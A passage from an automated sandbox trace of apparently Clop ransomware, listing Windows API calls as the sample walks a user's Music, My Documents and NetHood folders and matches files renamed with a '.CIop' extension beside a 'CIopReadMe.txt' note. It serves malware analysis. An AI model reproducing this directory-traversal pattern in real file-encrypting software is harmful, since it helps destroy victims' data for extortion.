(lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0128.267] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0128.267] lstrlenW (lpString=".CIop") returned 5 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0128.267] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0128.267] lstrlenW (lpString=".CIop") returned 5 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0128.267] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0128.267] lstrlenW (lpString=".CIop") returned 5 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.267] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.267] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.267] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0128.267] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0128.267] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.267] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0128.267] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.267] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.267] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.267] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.268] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0128.268] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0128.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0128.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0128.268] SetErrorMode (uMode=0x1) returned 0x1 [0128.268] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0128.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0128.268] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0128.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0128.268] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.268] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.268] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0128.268] lstrlenW (lpString=".CIop") returned 5 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0128.268] lstrlenW (lpString=".CIop") returned 5 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.268] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0128.268] lstrlenW (lpString=".CIop") returned 5 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0128.268] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0128.268] lstrlenW (lpString=".CIop") returned 5 [0128.268] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.268] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0128.269] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0128.269] lstrlenW (lpString=".CIop") returned 5 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0128.269] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0128.269] lstrlenW (lpString=".CIop") returned 5 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0128.269] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0128.269] lstrlenW (lpString=".CIop") returned 5 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.269] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.269] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.269] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0128.269] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0128.269] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.269] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.269] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.269] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.269] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.269] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.270] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.270] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.270] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.270] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.270] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0128.270] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0128.270] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0128.270] SetErrorMode (uMode=0x1) returned 0x1 [0128.270] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0128.270] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0128.270] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.270] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0128.270] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0128.270] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.270] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.270] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.270] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0128.270] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.270] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0128.270] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0128.270] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0128.270] SetErrorMode (uMode=0x1) returned 0x1 [0128.270] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0128.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0128.271] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0128.271] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.271] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.271] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.271] lstrlenW (lpString=".CIop") returned 5 [0128.271] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0128.271] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.271] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.271] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.271] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.271] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0128.271] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0128.271] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0128.271] SetErrorMode (uMode=0x1) returned 0x1 [0128.271] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0128.271] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0128.271] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.271] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0128.271] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0128.271] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.271] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0128.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0128.272] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.272] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0128.272] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0128.272] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") 